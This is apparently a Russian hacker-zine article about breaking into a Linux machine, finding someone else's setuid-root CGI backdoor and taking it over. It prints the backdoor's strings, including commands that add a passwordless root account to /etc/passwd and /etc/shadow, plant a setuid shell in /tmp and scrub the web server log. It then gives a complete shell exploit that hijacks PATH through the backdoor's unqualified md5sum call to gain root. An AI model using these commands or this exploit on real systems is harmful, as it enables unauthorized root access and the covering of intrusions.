<d4rkgr3y> potomu chto to, chto vkusno lejit tut: m00.ru/m00/code
--==--==--==--==--==--==--==--==--==--==--==--==--==--==--==--==--==--==--==--==

                   666 666 666 666 666 666 666 666 666
                       TAKEOVER: gayhat'z r00tshell
                   666 666 666 666 666 666 666 666 666  
     
  Небольшая дока о том, как у чела увели рутшелл )) Как-то попал я в linux-box с
nobody'z_uid. Ядро было неуязвимо к ptrace/kmod.Ну чтож, запустил поиск вареза с
setuid. Всё короче стандартно... Хотя нет, тут лежат  два файла: sh.zk.cgi и swc
в дире /var/www/cgi-bin. Смотрю - с виду вроде простые cgi на сях. Тока с какого
на них поставили setuid root?  Может какой-нить отмороз оставил себе типа бекдор
в систему? ))

  Посмотрел HexWorkshop'ом sh.zk.cgi и выудил оттуда такие строки :
  
/usr/bin/md5sum               
/* проверяем, есть ли этот файл */

md5sum --string=%s | awk -F ' ' '{ print $1 }' > /tmp/.hash /tmp/.hash
/* это похоже вызов system(), судя по виду */

rm -f /tmp/.hash fa8c 6df4 fe38 867b 6537 f407 4c15 b115 %s%s%s%s%s%s%s%s 3682 
f1d0 f48e 9d23 a436 9f2d 0ff8 6e7c /etc/sys/config/hash.zk 

/* хз че это за хэш. */

/var/log/httpd/access_log cat %s | grep -v %s > %s CONTENT_LENGTH

ADDRESS= Invalid command /ps

Due to suExec in apache, any ps command must be done with  httpd id and gid %c 
/usr/bin/w %s: command not found

/* ну это понятно. если установлен suexec, то ps выполняется с правами апача */

GET REQUEST_METHOD Content-type: text/html

<TITLE>CGI Test Page</TITLE>   
<ISINDEX PROMPT=" Type some text in here: ">
 
Content-type: text/plain  You typed "%s" 2.1

<TITLE>[zk](%s) CGI Shell</TITLE> SCRIPT_NAME 

<FORM ACTION=%s METHOD=POST>
<SELECT NAME=STRCMD>
<OPTION>Execute command:
<OPTION>Clean httpd log
<OPTION>Add root Account
<OPTION>Add Suid Shell
<OPTION>Shutdown Machine
<OPTION>Reboot Machine
<OPTION>Erase BackDoor
</SELECT>

/* скромно но со вкусом )). 2,4,5,6 пункты - откровенное палево, хотя неизвестно
как он чистит access_log.  */

Command: <INPUT TYPE=TEXT NAME=ADDRESS>
         <INPUT TYPE=submit VALUE="Run">

<BR> <PRE>

uname -a uptime

<BR>

</PRE>


Error: This CGI must be SUID root! 

/* вот это палево конкретное -  самая примитивная ids это первым делом ищет suid
binaries */

STRCMD= & Clean+httpd+log   CGI SeRVer: HTTPD Access log cleand.

<PRE>

tail /var/log/httpd/access_log  

CGI SeRVer: Failed to clean HTTPD Access log. !!!

Add+Suid+Shell /bin/bash /bin/cp /bin/chmod  %s %s /tmp ; %s 4755 /tmp/bash

/* в tmp создает суид шелл */

CGI SeRVer: Suid shell in tmp dir failed!
CGI SeRVer: Suid shell in tmp dir worked!

Shutdown+Machine /sbin/shutdown %s -h now

CGI SeRVer: The system is
going down for system halt NOW !!!

/* выключаем комп */

Reboot+Machine /sbin/reboot %s    

CGI SeRVer: The system is going down for reboot NOW !!!

/* перегружаем */

Erase+BackDoor /bin/rm %s -rf %s

CGI SeRVer: Error in delete..!
CGI SeRVer: Backdoor removed!!

/* удаляем бэкдор */

Add+root+Account                

echo 'admin::0:0::/root:/bin/bash' >> /etc/passwd; 
echo 'admin:$1$LPHJ/aZP$cxKZhvapxOiFQNDTqol8c.:11900:0:99999:7:-1:-1:134539252' >> /etc/shadow;        

/* добавляем рута в систему */      

if
  CGI SeRVer: New Root Account failed!
else
  CGI SeRVer: New root account created as user: admin!!

Execute+command%3A                      

CGI SeRVer: A command must be specified!


  Короче, у нас тут тупой бекдор кто-то заинсталил и думает что он очень крут ))
Надо бы обломать чувака... так, у нас есть вызов system(). Это уже гуд.  Что там
вызывается? 

"md5sum --string=%s | awk -F ' ' '{ print $1 }' > /tmp/.hash /tmp/.hash"

Самое интересное, что не указаны конкретные пути к md5sum и awk.  Отлично, вот и
бага )) Мы заносим в переменную окружения PATH /tmp: export PATH=/tmp. Далее, мы
создём в /tmp файл скажем md5sum с нужным нам кодом и запускаем sh.zk.cgi.Первым
идёт вызов system(). Когда прога будет искать md5sum, она возьмёт список  дир из
переменной окружения PATH. А так как там /tmp,то она найдёт и выполнит в ней наш
md5sum с нашим кодом. 

А вот и сплоит:

#!/bin/sh

if [ -z "$1" ]
then
echo Usage: $0  path_to_zkshell
exit
fi    

echo  SH.ZK.CGI fuckin got-root exploit

cat << _eof_ > /tmp/md5sum
#!/bin/bash

/bin/cp /bin/bash /tmp/g0tr00t
/bin/chmod 4755 /tmp/g0tr00t

_eof_

echo [+] create executable awk in /tmp
chmod 755 /tmp/md5sum

cat << _eof_ > /tmp/awk
#!/bin/bash
/bin/echo itz works!
_eof_

chmod 755 /tmp/awk

echo [+] set env \$PATH to /tmp
export OLDPATH=$PATH
export PATH=/tmp

echo [+] running lame sh.zk.cgi
$1
export PATH=$OLDPATH
echo [+] wait 3 seconds...
sleep 3
echo [+] letz got root now!
/tmp/g0tr00t
#_eof_ 

  Так что не стоит юзать system() ) А то мы придём и ваш мега-рутшелл натянем ))